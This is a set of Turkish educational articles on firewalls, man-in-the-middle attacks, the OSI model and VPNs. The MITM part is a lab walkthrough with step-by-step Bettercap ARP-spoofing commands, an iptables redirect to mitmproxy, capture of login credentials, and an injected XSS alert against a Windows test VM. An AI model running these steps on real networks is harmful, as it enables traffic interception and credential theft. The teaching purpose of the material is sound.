* **Kişisel Firewall'lar:** Bireysel kullanıcılar için tasarlanmış olan bu firewall'lar, kişisel bilgisayarları korur. Kullanımı kolay ve genellikle yazılım tabanlıdır.
* **Bulut Tabanlı Firewall'lar:** Bulut hizmet sağlayıcıları tarafından sunulan bu firewall'lar, bulut tabanlı uygulama ve verileri korur. Esneklik ve ölçeklenebilirlik avantajları sunar.

### Firewall'a Alternatif Olabilecek Teknolojiler Ve Yöntemler

* Intrusion Detection Systems (IDS) ve Intrusion Prevention Systems (IPS)
* Unified Threat Management (UTM)
* Next-Generation Firewall (NGFW)
* Virtual Private Network (VPN)
* Data Loss Prevention (DLP)
* Endpoint Protection Platforms (EPP) ve Endpoint Detection and Response (EDR)
* Web Application Firewall (WAF)
* Network Access Control (NAC)
* Security Information and Event Management (SIEM)
* Cloud Security Solutions

Firewall'lar, ağ güvenliğinin temel bileşenlerinden biridir, ancak tek başına yeterli değildir. Bahsedilen alternatif ve tamamlayıcı teknolojiler, ağ güvenliğini artırmak ve çeşitli tehditlere karşı daha kapsamlı bir koruma sağlamak için kullanılabilir.Ağ güvenliği sağlanırken, bu çözümleri bir arada kullanarak katmanlı bir güvenlik yapısı oluşturmak en etkili yöntemdir.

### Bireyler Ve İşletmeler İçin Firewall Kullanımının Avantajları

* **Güvenlik:** Yetkisiz erişimlere karşı koruma sağlar.
* **Kontrol:** Ağ trafiğini izler ve denetler.
* **Veri Koruması:** Hassas verilerin sızmasını önler.
* **Kullanıcı Bilgilendirmesi:** Şüpheli aktiviteler hakkında uyarı verir.

Sonuç olarak Firewall'lar, ağ güvenliğinin temel taşlarıdır. Gelen ve giden veri trafiğini denetleyerek yetkisiz erişimleri ve tehditleri engellerler. IP adresleri, port numaraları ve protokoller gibi kriterlere göre çalışırlar. Ancak tek başlarına yeterli değildirler; IDS, IPS, VPN ve DLP gibi tamamlayıcı güvenlik çözümleriyle birlikte kullanıldıklarında daha etkili olurlar. Güvenli bir ağ ortamı için bu araçlar birlikte kullanılmalıdır.

### Pfsense Firewall İçin Aşağıdaki Video Serisi Yardımcı Olabilir

{% embed url="<https://www.youtube.com/playlist?list=PLnzFpKTDficzLhKQsA8Kutr8zdLFUGVdb>" %}

{% embed url="<https://github.com/SlapOfMelkor>" %}
Bu yazı İrfan Kılıç Tarafından Hazırlanmıştır
{% endembed %}


# Ortadaki Adam Saldırısı (Man In The Middle Attack)

Man in the Middle attack (Ortadaki Adam Saldırısı), bir saldırganın iletişim halinde olan iki taraf arasında kendisini konumlandırarak iletişimi izleyebildiği ve değiştirebildiği bir siber saldırı türüdür. MITM saldırısı, pratikte oldukça basit bir yöntem olabilir, ancak sonuçları oldukça yıkıcı olabilir.

<figure><img src="/files/dvUO84zsuftp9intgCS0" alt=""><figcaption></figcaption></figure>

MITM saldırıları, OSI modelinin ikinci katmanında (veri bağlantı katmanı) uygulandığından, saldırgan başarılı olursa, tüm trafik akışını kontrol edebilir. Bu hakimiyet, şifrelenmemiş trafikten şifreli “HTTPS” trafiğine kadar sınırsızdır. Kullanıcıların bir kuruluş içinde bilgileri paylaşmalarının ve iletişim kurmalarının birincil yolu, bir ağ altyapı hizmetidir. Veri paketi ağda serbestçe dolaşır. Kendi IP adresine ait olmayan bir paket alan cihazlar, isteğe bağlı olarak o paketin içeriğini görebilir veya değiştirebilir. MITM saldırısı, ağdaki paketleri ele geçirmek ve manipüle etmek olarak da özetlenebilir.

## Network MITM Saldırıları Nelerdir?

### ARP Zehirlenmesi (ARP Poisoning)

ARP (Address Resolution Protocol) hangi IP adresinin hangi MAC adresine eşleştiğini bulmamızı sağlayan protokoldür. Bu protokol iki bilgisayarın iletişim kurabilmesi için gerekli fiziksel adreslerin tespit edilmesini sağlar. Ağa bağlanan bir A makinesi, B makinesine ulaşmak istediği zaman B makinesinin IP adresine karşılık gelen MAC adresini bulmak için Broadcast isteği gönderir. ARP zehirleme ise, kurban sisteme sahte arp paketleri (ARP-reply) göndererek kurban bilgisayardaki IP-MAC eşleşmesinin değiştirilmesidir. Saldırgan, kendisini farklı bilgisayar gibi gösterebilir ve kurbanın göndereceği trafiği üzerinden geçirebilir.

<figure><img src="/files/JxtyzBG1OyyvtPUW5nry" alt=""><figcaption></figcaption></figure>

Saldırgan, A makinesine sahte ARP yanıtları göndermeye başlar. A makinesinin ARP ön belleği (ARP Cache) zehirlenecek ve verileri saldırganın MAC adresine gönderecektir. ARP Zehirleme sonucu kurban makinelerde IP-MAC eşleşmesi olması gerekenden farklı olacaktır.

<figure><img src="/files/FDftMAGeb71DpcEtKgJl" alt=""><figcaption></figcaption></figure>

Saldırgan, A ve B bilgisayarlarının ARP Cachelerini zehirler. Böylece A’dan B’ye giden tüm paketler saldırgan üzerinden geçecektir. Bu durumda saldırgan kendisini ağ geçidi gibi göstererek tüm internet trafiğini izleyebilir.

<figure><img src="/files/YhpAYPguVyrW3JtrdmvU" alt=""><figcaption></figcaption></figure>

### DNS Sahteciliği (DNS Spoofing)

DNS sunucusunun ön bellek veri tabanında değişiklik yapılarak hedef sistemin saldırganın belirlediği IP adresine yönlendirme saldırısıdır. Bu sayede DNS sunucusuna istekte bulunan hedef sistem saldırganın IP’sine yönlendirilerek saldırı gerçekleşmiş olur.

### Port Çalma (Port Stealing)

Bu saldırı türü, bir LAN anahtarında gerçekleşir ve başka bir hedefe gönderilen paketleri çalmaya çalışır. Saldırgan, istenen hedefin anahtardan portunu çalarak bu saldırıyı gerçekleştirir.

### STP (Spanning-tree Protokolü) Yöntemi

Spanning Tree Protokolü’nün görevi, karmaşık bir ağ topolojisinde döngüleri engellemek ve buna göre döngüye sebep olacak portları bloke durumuna getirmektir. STP protokolü sabote edildiğinde ise hiyerarşik denge bozulur ve paketler cihazlar arasında sonsuz bir döngüye girer.

### DHCP Sahteciliği (DHCP Spoofing)

Saldırgan DHCP sunucusu görevi görerek kurban bilgisayarlara IP dağıtır ve gateway olarak kendi adresini verir. Bu şekilde ağ trafiği kendi üzerinden akar.

### Network MITM Saldırısı ile İlgili Örnek

Ağ ortamında MITM saldırılarını gerçekleştirmek için, açık kaynak kodlu ve güçlü bir araç olan mitmproxy'i tercih ediyoruz. Mitmproxy, ortadaki adam saldırıları için özel olarak tasarlanmış bir araç olup, ağ trafiğini yakalamak, incelemek ve gerektiğinde durdurmak veya değiştirmek gibi çeşitli yetenekler sunar. Kali Linux sanal makinesinde bulunan ve hazır olarak kurulu gelen Bettercap aracını kullanarak, hedef olarak belirlediğim Windows 8.1 sanal makinesine yönelik bir MITM saldırısı gerçekleştireceğim.

1. Öncelikle Ethernet arabirimini belirlemek için “bettercap -iface eth0” komutunu çalıştırıyoruz.
2. Ardından, Bettercap'in sunmuş olduğu modüllerin listesini görmek ve kullanılabilir işlevleri anlamak için "help" komutunu kullanıyoruz.
3. Bu adımda, ağ tarayıcı modülünü etkinleştirmek için "net.probe" modülünü "net.probe on" komutuyla aktifleştiriyoruz. Bu, ağda bulunan cihazları keşfetmek için bir tarama başlatır.
4. Şimdi, hedef cihazlar hakkında daha fazla bilgi edinmek için "net.show" komutunu kullanıyoruz. Bu sayede, Windows sanal makinesinin IP ve MAC adresi gibi detayları görüntüleyebiliriz.
5. MITM saldırısı gerçekleştirebilmemiz için, ağdaki tüm verilerin doğru bir şekilde yönlendirilmesini sağlamak adına "set arp.spoof.fullduplex true" komutunu çalıştırıyoruz. Bu, zehirleme işlemi sırasında ağ trafiğinin sorunsuz bir şekilde yönlendirilmesini temin eder.
6. Hedef cihazları belirlemek için, ARP saldırısı için hedef IP adresini belirlememiz gerekir. Bu nedenle, "set arp.spoof.targets 10.0.2.2" gibi bir komutla hedef cihazın IP adresini belirliyoruz.
7. Son olarak, gelen ve giden ağ trafiğini dinlemek ve gerektiğinde manipüle etmek için "net.sniff on" komutunu çalıştırarak dinleme modunu etkinleştiriyoruz.

Windows sanal makinemde <http://database.cospe.org/phpMyAdmin/index.php> adresine erişim sağladığımda, Bettercap aracının çalıştığı terminalde verilerin gelmeye başladığını görebiliyorum.

<figure><img src="/files/JR1C8R4AjRMZAM3oZVce" alt=""><figcaption></figcaption></figure>

Saldırının etkili bir şekilde gerçekleştirildiğini doğrulamak için, HTTP protokolünü kullanan bir web sitesine erişim sağlamamız gerekmektedir.

<figure><img src="/files/8cZDI5gc4zRbtczKmWqG" alt=""><figcaption></figcaption></figure>

Şimdi, Bettercap aracının yönlendirdiği verileri daha etkin bir şekilde incelemek için MITM saldırısı sırasında gelen HTTP trafiğini mitmweb arayüzünde görmek istiyorum. Bunun için, yönlendirme ayarlarını yapılandırmam gerekiyor. Bu amaçla, “iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080” komutunu kullanarak bir yönlendirme oluşturuyorum. Bu komutla, 80 numaralı port üzerinden gelen TCP paketlerini yakalayacak ve bunları 8080 numaralı portuna yönlendireceğim. Bu adım, Bettercap tarafından ele geçirilen verilerin mitmweb arayüzünde görüntülenebilmesini sağlayacaktır.

<figure><img src="/files/iigKzTf6OzWczfVfIapd" alt=""><figcaption></figcaption></figure>

Windows makinesindeki kullanıcı adı ve parola bilgilerini denediğinizde, bu bilgiler Bettercap aracılığıyla Kali Linux üzerindeki mitmweb arayüzünde görüntüleniyor. Token numaraları aynı(bafcb9af71b42e7816ec69078b9a6623).

<figure><img src="/files/dbv68L7sTWt3Vql1dx4M" alt=""><figcaption></figcaption></figure>

Şimdi intercept kullanarak Windows makinemde XSS saldırısı yapmayı deniyorum. Intercept’i açtıktan sonra gelen isteği durdurup response kısmındaki kodlarda düzenleme yapıp alert(‘Merhaba İlker : ‘); kodunu enjekte ediyorum.

<figure><img src="/files/1GWue98JNzWlwcpRqaNy" alt=""><figcaption></figcaption></figure>

Ardından Windows sanal makinemde zafiyet bulunan web sitesinde XSS saldırısını başarıyla gerçekleştirmiş oldum.

<figure><img src="/files/AQ4ExTdMOhJvdTVdFMSc" alt=""><figcaption></figcaption></figure>

Bu şekilde mitmproxy kullanarak MITM saldırısı ve XSS saldırısı yapmış oldum.

{% embed url="<https://github.com/ilkerbingoll59>" %}
Bu yazı İlker Bingöl tarafından hazırlanmıştır.
{% endembed %}


# OSI Modeli

Bu yazıda, Açık Sistemler Arası Bağlantı (OSI) modelinin ağ mühendisliği alanındaki önemini ve her bir katmanının işlevlerini detaylı bir şekilde ele almaktadır.

## OSI Modeli Nedir?

OSI Modeli, ağ iletişimi için bir standart veya referans modeli olarak kabul edilir. Yedi farklı katmandan oluşur ve verilerin ağlar arasında nasıl iletilir olduğunu anlamak için bir çerçeve sunar.

<figure><img src="/files/qriaI8Cel3xkV9YsuVDl" alt="" width="500"><figcaption></figcaption></figure>

## OSI Modelinin Kökeni ve Amaçları

OSI Modeli'nin ortaya çıkışı, ağ iletişimindeki standartlaşma ihtiyacından kaynaklanmıştır. Farklı ağ ekipmanı üreticileri, kendi özel protokollerini kullanarak kendi ağlarını oluşturduklarından, farklı sistemler arasında iletişim kurmak oldukça zordu. Uluslararası Standartlar Örgütü (ISO), bu sorunu çözmek ve uluslararası düzeyde bir standart belirlemek amacıyla OSI Modeli'ni geliştirdi.

## OSI Modeli Katmanları ve İşlevleri

OSI Modeli, ağ iletişimini yedi katmana ayırır. Her bir katman, belirli bir işlevi üstlenir ve altındaki katmanlara hizmet sağlar. Bu katmanlar şunlardır:

### 1. Fiziksel Katman (Physical Layer):

Veriyi ikili formda (0 ve 1'ler) bu katmanda iletir. Bu en alt katman, verilerin fiziksel ortamda (kablolar, konektörler vb.) iletilmesini sağlar. Elektrik sinyalleri, ışık sinyalleri veya radyo frekansları gibi ortamlar kullanılabilir. Bu katmanda, verinin nasıl elektrik veya ışık sinyallerine dönüştürüleceği belirlenir.

<figure><img src="/files/iVvlSkkMrOGZNfBvtKpE" alt="" width="500"><figcaption></figcaption></figure>

### 2. Veri Bağlantı Katmanı (Data Link Layer):

Aynı LAN üzerindeki cihazlar arasındaki iletişimi sağlar. İkinci katman olan veri bağlantı katmanı, aynı ağdaki cihazlar arasındaki doğrudan iletişimi sağlar. Veri paketleri, bu katmanda belirlenen protokollere göre paketlenir ve fiziksel ortam üzerinden iletilir. Hata kontrolü ve akış kontrolü gibi önemli işlevleri de yerine getirir.

<figure><img src="/files/nd3cXzQjx7Ipe96xg0du" alt="" width="500"><figcaption></figcaption></figure>

### 3. Ağ Katmanı (Network Layer):

Veri yönlendirme işlevini üstlenir ve yönlendiriciler aracılığıyla veri iletimini sağlar. Ağ katmanı, veri paketlerinin farklı ağlar arasında yönlendirilmesinden sorumludur. Bu katmanda, veri paketleri hedef adreslerine doğru yönlendirilir ve iletilir. Yönlendiriciler, bu katmanda çalışarak veri iletimini sağlar.

<figure><img src="/files/XUMpsgUHpFx2KuBnYBNj" alt="" width="500"><figcaption></figcaption></figure>

### 4. Taşıma Katmanı (Transport Layer):

Veri transferini yönetir ve TCP, UDP gibi protokollerle veri iletimini sağlar. Dördüncü katman olan taşıma katmanı, veri iletimini sağlar ve veri akışının güvenilirliğini ve doğruluğunu garanti eder. Bu katmanda, veri paketleri segmentlere bölünür ve hedefe iletilir. TCP (Transmission Control Protocol) ve UDP (User Datagram Protocol) gibi protokoller bu katmanda çalışır.

<figure><img src="/files/9lUj8CBI6RkFMw3t4MNa" alt="" width="500"><figcaption></figcaption></figure>

### 5. Oturum Katmanı (Session Layer):

Cihazlar arasındaki oturumları yönetir ve güvenilir veri iletimini sağlar. Oturum katmanı, cihazlar arasındaki iletişim oturumlarını yönetir. Oturumlar, cihazlar arasında karşılıklı iletişim gerektiren süreçlerdir. Bu katman, oturumların başlatılması, yönetilmesi ve sonlandırılmasından sorumludur.

<figure><img src="/files/RRg2FctuMIiVO9LnW10R" alt="" width="500"><figcaption></figcaption></figure>

### 6. Sunum Katmanı (Presentation Layer):

Verilerin doğru biçimde kodlanması, şifrelenmesi ve sıkıştırılmasını sağlar. Sunum katmanı, verilerin farklı sistemler arasında uyumlu bir şekilde aktarılmasını sağlar. Bu katmanda, verilerin kodlanması, şifrelenmesi ve sıkıştırılması gibi işlemler gerçekleştirilir. Bu sayede, farklı sistemler arasında veri alışverişi kolaylaşır.

<figure><img src="/files/tnbt9ZsRwVgYaOrYZQZs" alt="" width="500"><figcaption></figcaption></figure>

### 7. Uygulama Katmanı (Application Layer):

Kullanıcı ve ağ arasındaki iletişimi sağlar. Web tarayıcıları, e-posta istemcileri gibi uygulamaları kapsar. En üst katman olan uygulama katmanı, kullanıcılar arasındaki doğrudan iletişimi sağlar. Bu katmanda, farklı uygulamalar arasında veri alışverişi gerçekleştirilir. Web tarayıcıları, e-posta istemcileri ve dosya paylaşım uygulamaları gibi uygulamalar bu katmanda çalışır.

<figure><img src="/files/X624tiWdNKuW6dlNYbf2" alt="" width="500"><figcaption></figcaption></figure>

## OSI Modelinin Önemi

OSI Modeli, ağ mühendisliğinde birçok alanda kullanılır. Bunlardan bazıları şunlardır:

* **Ağ Tasarımı**: OSI Modeli, ağların nasıl tasarlanacağı ve farklı katmanların nasıl bir araya getirileceği konusunda bir çerçeve sunar. Ağ tasarımcıları, bu modeli kullanarak ağın ihtiyaçlarını karşılayacak ve etkin bir şekilde çalışacak bir ağ tasarlayabilirler.
* **Sorun Giderme**: Ağ problemlerini teşhis etmek ve çözmek için OSI Modeli kullanılabilir. Sorun hangi katmanda meydana geldiğini belirlemek, sorunun kaynağını bulmak ve çözümü geliştirmek için yardımcı olur.
* **Ağ Performansı Optimizasyonu**: OSI Modeli, ağ performansını optimize etmek için kullanılabilir. Her bir katmandaki performansı analiz ederek ve darboğazları belirleyerek ağın performansı artırılabilir.
* **Eğitim**: OSI Modeli, ağ iletişimini anlamak ve öğrenmek için bir çerçeve sağlar. Ağ mühendisleri ve uzmanları, bu modeli kullanarak ağ iletişimini daha iyi anlayabilir ve problemleri daha etkili bir şekilde çözebilirler.

## Sonuç

OSI Modeli, modern iletişim ağlarının temel taşıyıcısıdır. Ağ iletişimini yedi farklı katmana bölerek her bir katmanın belirli bir işlevi üstlenmesini sağlar. Bu sayede, farklı cihazlar ve sistemler arasında uyumlu bir iletişim sağlanır. OSI Modeli, ağ mühendisliğinde temel bir referans noktası olarak kullanılır ve ağ iletişimini anlamak için önemli bir araçtır.

## Ek Kaynaklar

OSI Modeli hakkında daha fazla bilgi edinmek için şu kaynaklara başvurabilirsiniz:

* [Wikipedia - OSI Modeli](https://en.wikipedia.org/wiki/OSI_model)
* [İTÜ BIDB - OSI Katmanları](https://bidb.itu.edu.tr/seyir-defteri/blog/2013/09/07/osi-katmanlar%C4%B1)
* [Amazon - OSI Modeli](https://aws.amazon.com/tr/what-is/osi-model/)

{% embed url="<https://github.com/iyad-alahmad>" fullWidth="false" %}
Bu yazı Iyad Alahmad tarafından hazırlanmıştır.
{% endembed %}


# Sanal Özel Ağlar (VPN)

Günümüzde internetin yaygınlaşması ve dijitalleşme sürecinin hız kazanmasıyla birlikte, kişisel gizlilik ve güvenlik konuları daha da önemli hale gelmiştir. İnternet kullanıcıları, çevrimiçi faaliyetlerini korumak ve sınırlamalardan kaçınmak için farklı araçlara başvurmaktadır. Bu araçlardan biri de sanal özel ağlar veya kısa adıyla VPN’lerdir. Bu yazıda, VPN'lerin ne olduğu, nasıl çalıştığı, avantajları, dezavantajları, kullanım alanları ve güvenlik önlemleri gibi konular ele alınacaktır.

***

### **1.Sanal Özel Ağların Tanımı ve Çalışma Prensibi**

VPN, sanal özel ağın kısaltmasıdır. Temel olarak, VPN'ler internet trafiğini şifreleyerek kullanıcıların çevrimiçi faaliyetlerini gizli tutar ve anonimliklerini korur. Bir VPN, kullanıcıların internete bir uzak sunucu üzerinden bağlanmasını sağlar, böylece kullanıcının gerçek IP adresi gizlenir ve bağlantı şifrelenir. Bu, kullanıcıların çevrimiçi etkinliklerini takip etmek veya sınırlamak isteyen üçüncü tarafların bunu yapmasını zorlaştırır. VPN'ler genellikle bir istemci-sunucu modeline dayanır. Kullanıcılar VPN istemcisi adı verilen bir uygulama veya program aracılığıyla VPN sağlayıcısının sunucularına bağlanır. Bu sunucular, kullanıcının internet trafiğini şifreler ve belirlenen hedefe ileterek kullanıcının gerçek IP adresini gizler. Bu, üçüncü tarafların çevrimiçi etkinliklerinizi izlemesini ve veri çalmasını zorlaştırır. Şifreleme gerçek zamanlı olarak gerçekleşir.

<figure><img src="/files/2b6xPWuKKzufc7XSN2kn" alt="" width="563"><figcaption></figcaption></figure>

***

### **2.VPN bağlantı çeşitleri**

#### 1- Uzaktan Erişim VPN

<figure><img src="/files/P8NinrNTGKMtcQ5fQLbH" alt="" width="563"><figcaption></figcaption></figure>

Uzaktan erişim VPN bağlantıları, evinde çalışan ya da seyahat esnasında ofisinde olamayan kullanıcıların İnternet üzerinden özel ağ üzerindeki sunucuya erişme imkânı sağlar. VPN, istemcisiyle uzaktan erişim sunucusu arasında noktadan noktaya bir bağlantıdır. Ayrıca veriler özel bir ağ üzerinden gönderiliyormuş gibi görünmektedir. Bu yüzden ortak ağın gerçek alt yapısı önemli değildir.

#### 2- Siteden siteye VPN

<figure><img src="/files/15pzKkvoCQN1TcGf30BP" alt="" width="563"><figcaption></figcaption></figure>

Siteden siteye VPN bağlantıları farklı ofisler arasında veya farklı kuruluşlar arasında ortak bir ağ üzerinden güvenli bir şekilde iletişimi sağlamaz. VPN bağlantısı WAN (Wide Area Network) bağlantısı gibi çalışır. WAN bağlantısı şehirler, ülkeler gibi uzun mesafeler arasında iletişimi sağlayan ağ çeşididir. Ağlar, İnternet üzerinden verileri bir yönlendirici ile başka bir yönlendiriciye iletir. Yönlendiricilere göre VPN bağlantısı, veri bağlantısı olarak işlev görmektedir. Örneğin, bir proje üzerinde çalışıyorsunuz ve İstanbul ofisindeki ekibinizle sürekli olarak dosya paylaşımı yapmanız gerekiyor. Ancak, dosyaların büyüklüğü nedeniyle e-posta ile göndermek mümkün değil ve bulut depolama hizmetleri kullanmak güvenlik endişeleri doğurabilir. Siteden siteye VPN kullanarak, İstanbul ofisindeki LAN ile California'daki LAN arasında güvenli bir tünel oluşturulur. Bu tünel sayesinde, dosyaları doğrudan İstanbul ofisinden California ofisine güvenli bir şekilde iletebilirsiniz. Bu, dosyaların güvenliği ve bütünlüğü sağlanarak, şirket içi iş birliği ve veri paylaşımı kolaylaştırır. Siteden Siteye VPN bağlantısı özel bir ağın iki bölümünü birbirine bağlar. VPN sunucusu, bağlı olduğu ağa bağlantı sunarken, yanıtlayan diğer sunucu ya da yönlendirici (VPN sunucusu), yanıtlayan yönlendiricinin (VPN istemcisi) kimlik bilgilerini doğrular. Karşılıklı doğrulama sağlanır. Ayrıca siteden siteye VPN bağlantısı üzerindeki iki sunucunun gönderdikleri veri transferlerinin başlangıç noktaları tipik olarak yönlendiriciler veya sunucular değillerdir.

### **3.VPN bağlantılarının özellikleri**

PPTP, L2TP/Ipsec ve SSTP kullanan VPN bağlantılarının 3 önemli özelliği kapsülleme, kimlik doğrulama ve son olarak ise veri şifrelemedir.

1. Kapsülleme: VPN ağında veriler bir üst bilgi ile kapsüllenirler. Üst bilgi, verilerin bitiş noktalarına erişmeleri için, paylaşılan veya ortak ağ üzerinden çapraz geçebilmelerine olanak veren yönlendirme bilgileri sağlar. Kapsülleme işleminin detayları VPN tünel protokolleri başlığında anlatılmıştır.
2. Kimlik doğrulama: Ağa erişmeye çalışan kişinin buna yetkili olup olmadığı, dışarıdan müdahale edilemeyecek şekilde, yani şifreli olarak HTTPS protokolü ile yapılır ve izini olanlar ağa alınır.
3. Veri şifreleme: Veriler de dışarıdan ağdan geçen bilgileri dinleyenlerin çözümleyemeyeceği biçimde şifrelenerek dışarıdakiler için anlaşılmaz hâle getirilir.

***

#### Kapsülleme

<figure><img src="/files/hQuCM37jWHYazHHG4tAz" alt="" width="563"><figcaption></figcaption></figure>

Kapsülleme, VPN teknolojisinde özel verilerin, geçiş ağını çapraz geçmelerine izin verecek yönlendirme bilgilerini içeren bir üst bilgiyle sarılması işlemidir. Tünel oluşturma, bir protokol türündeki paketin başka bir protokol datagramı içinde sarılmasını sağlar. Örneğin, VPN, IP paketlerini Internet gibi ortak bir ağ üzerinden geçmesini sağlamak için PPTP'yi kullanabilir. Noktadan Noktaya Tünel Protokolü (PPTP), Katman İki Tünel Protokolü (L2TP) veya Güvenli Yuva Tünel Protokolü (SSTP) gibi VPN çözümleri için kullanılabilir. PPTP, L2TP ve SSTP protokolleri, esas olarak Noktadan Noktaya Protokolü (PPP) için belirlenen özelliklere dayanır. PPP, çevirmeli veya adanmış noktadan noktaya bağlantılar üzerinden veri iletimi için tasarlanmıştır. IP kullanımında, PPP, IP paketlerini PPP çerçeveleri içinde kapsüller ve ardından kapsüllenen PPP paketlerini noktadan noktaya bir bağlantı üzerinden aktarır. PPP, orijinal olarak çevirmeli istemci ve ağ erişimi sunucusu arasında kullanılmak üzere tasarlanmıştır.

***

#### Kimlik Doğrulama

VPN bağlantılarında kimlik doğrulama, genellikle üç farklı biçimde gerçekleştirilir:

1. PPP Kimlik Doğrulama: Kullanıcı düzeyinde kimlik doğrulama, VPN bağlantısı oluşturmak için kullanılır. VPN sunucusu, bağlanmayı deneyen VPN istemcisinin kimliğini doğrular ve uygun yetkilendirmeye sahip olduğunu onaylar. Bu doğrulama genellikle Noktadan Noktaya Protokolü (PPP) kullanılarak gerçekleştirilir. Eğer karşılıklı kimlik doğrulama kullanılıyorsa, VPN istemcisi de VPN sunucusunun kimliğini doğrular; bu şekilde kendilerini VPN sunucuları gibi tanıtan bilgisayarlara karşı koruma sağlanır.
2. Internet Anahtar Değişimi (IKE) ile Bilgisayar Düzeyinde Kimlik Doğrulama: Bilgisayar düzeyinde kimlik doğrulama, VPN istemcisi ve VPN sunucusu arasında güvenlik ilişkisi oluşturmak için kullanılır. Bu yöntemde, VPN istemcisi ve sunucusu, bilgisayar sertifikaları veya önceden paylaşılan bir anahtar değişimi için IKE protokolünü kullanır. Her iki taraf da birbirlerinin kimliklerini bilgisayar düzeyinde doğrular. Bilgisayar sertifikası kimlik doğrulaması daha güçlü bir kimlik doğrulama yöntemi olarak kabul edilir ve önerilir. Bu tür kimlik doğrulama genellikle L2TP/IPsec bağlantıları için uygulanır.
3. Veri Kaynağı için Kimlik Doğrulama ve Veri Bütünlüğü: VPN bağlantısı üzerinden gönderilen verinin, bağlantının diğer ucundan gönderilmiş olduğunu ve aktarım sırasında değiştirilmediğini doğrulamak için veride yalnızca gönderenin ve alanın bildiği bir şifreleme anahtarına dayalı şifreleme sağlanır. Bu yöntem yalnızca L2TP/IPsec bağlantılarında kullanılabilir ve verinin güvenliğini ve bütünlüğünü sağlar.

***

#### Veri Şifreleme

VPN'lerin temel amacı, internet trafiğini şifreleyerek kullanıcı verilerini korumaktır. Bu şifreleme, kullanıcıların verilerini izinsiz erişimlere karşı korur ve siber saldırılara karşı bir savunma mekanizması sağlar.

VPN şifreleme yöntemleri genellikle simetrik, asimetrik ve karma olmak üzere üç ana kategoriye ayrılabilir:

**1. Symmetric Encryption (Simetrik Şifreleme):**

* Simetrik şifreleme, aynı anahtarın hem şifreleme hem de deşifreleme işlemlerinde kullanıldığı bir şifreleme türüdür.
* Bu yöntemde, iletişimdeki taraflar aynı anahtarı kullanarak veriyi şifreler ve deşifre ederler.
* Yaygın olarak kullanılan simetrik şifreleme algoritmaları arasında AES (Advanced Encryption Standard) bulunmaktadır.

**2. Asymmetric Encryption (Asimetrik Şifreleme):**

* Asimetrik şifreleme, farklı anahtarların şifreleme ve deşifreleme işlemlerinde kullanıldığı bir şifreleme türüdür.
* Bu yöntemde, genellikle bir açık anahtar ve bir özel anahtar çifti kullanılır. Açık anahtar, veriyi şifrelemek için kullanılırken, özel anahtar, şifreli veriyi deşifre etmek için kullanılır.
* Asimetrik şifreleme algoritmaları arasında RSA (Rivest-Shamir-Adleman) ve ElGamal gibi popüler seçenekler bulunmaktadır.

**3. Karma Şifreleme (Hybrid Encryption):**

* Karma şifreleme hem simetrik hem de asimetrik şifreleme yöntemlerini birleştiren bir yaklaşımdır.
* Bu yöntemde, genellikle asimetrik şifreleme algoritması ile iletişim başlatılır ve daha sonra oluşturulan ortak bir anahtar ile simetrik şifreleme gerçekleştirilir.
* Karma şifreleme, asimetrik şifrelemenin sağladığı güvenli anahtar değişimini ve simetrik şifrelemenin hız ve verimliliğini bir araya getirir.
* Örneğin, bir VPN bağlantısının başlatılması için asimetrik şifreleme kullanılabilirken, veri akışı sırasında daha hızlı ve verimli olan simetrik şifreleme algoritmasıyla veri güvenliği sağlanabilir.

***

### **4.VPN Tünel Protokolleri**

<figure><img src="/files/Zj8LUaf8n2utHqQVrGFO" alt="" width="563"><figcaption></figcaption></figure>

VPN tünel protokolleri, genellikle farklı özelliklere ve kullanım senaryolarına sahip olabilir. İşte popüler VPN tünel protokolleri ve özellikleri:

**1. PPTP (Point-to-Point Tunneling Protocol):** • Birden fazla protokol trafiğinin şifrelenmesini ve ardından IP ağı veya Internet gibi ortak bir IP ağı üzerinden iletilmesini sağlar. • Uzaktan erişim ve site-to-site VPN bağlantıları için kullanılabilir. • PPP çerçevelerini IP datagramları içine kapsüler. • Genellikle Microsoft'un Noktadan Noktaya Şifreleme (MPPE) ile şifrelenmiş PPP çerçevelerini kullanır.

**2. L2TP (Layer 2 Tunneling Protocol):** • Birden fazla protokol trafiğinin şifrelenmesini ve ardından IP veya ATM gibi noktadan noktaya datagram teslimini destekler. • Cisco Systems, Inc. tarafından geliştirilen bir teknolojidir ve PPTP ile Layer 2 Forwarding (L2F) protokollerinin birleşimidir. • PPP çerçevelerini L2TP ve UDP üst bilgisi içine kapsüler. • Şifreleme için IPsec'e dayanır ve genellikle L2TP/IPsec olarak uygulanır.

**3. SSTP (Secure Socket Tunneling Protocol):** • HTTPS protokolünü kullanarak 443 numaralı TCP bağlantı noktası üzerinden iletişim kurar. • Trafiği güvenlik duvarlarından ve Web proxy'lerinden geçirebilir. • PPP trafiğini SSL kanalı üzerinde kapsülleyerek iletim düzeyinde güvenlik sağlar. • Etkili kimlik doğrulama yöntemlerini destekler, örneğin EAP-TLS. • SSL, gelişmiş anahtar anlaşması, şifreleme ve bütünlük denetimi kullanarak güvenlik sağlar.

Her bir tünel protokolü, farklı avantajlara ve kullanım senaryolarına sahiptir. Seçim genellikle güvenlik gereksinimlerine, kullanılabilirlik ve performans kriterlerine, ve mevcut altyapıya bağlı olarak yapılır.

***

### **5.Tünel protokolleri arasında seçim yapma**

Tünel protokolleri arasında seçim yaparken şu hususlar dikkate alınmalıdır:

**1. PPTP (Point-to-Point Tunneling Protocol):** • Microsoft işletim sistemleriyle (Windows 2000, Windows XP, Windows Vista, vb.) uyumludur ve farklı Microsoft istemcileriyle kullanılabilir. • Ortak anahtar altyapısı (PKI) kullanımını gerektirmez. • Veri akışındaki güvenliği sağlar, ancak veri değişimi sırasında kanıt sağlayamaz ve kimlik doğrulama konusunda güçlü değildir.

**2. L2TP/IPsec (Layer 2 Tunneling Protocol/IPsec):** • Yalnızca Microsoft 2000, Windows XP ve üstü işletim sistemleriyle kullanılabilir. • Önceden paylaşılan anahtarlar veya bilgisayar sertifikalarıyla kimlik doğrulama sağlar. • IPsec'i kullanarak kimlik doğrulama, veri gizliliği ve veri bütünlüğü için güvenlidir.

**3. SSTP (Secure Socket Tunneling Protocol):** • Windows Vista Service Pack 1 (SP1) veya Windows Server 2008 ve üzeri işletim sistemleriyle uyumludur. • SSL kullanarak veri gizliliği, kimlik doğrulaması ve veri bütünlüğü sağlar.

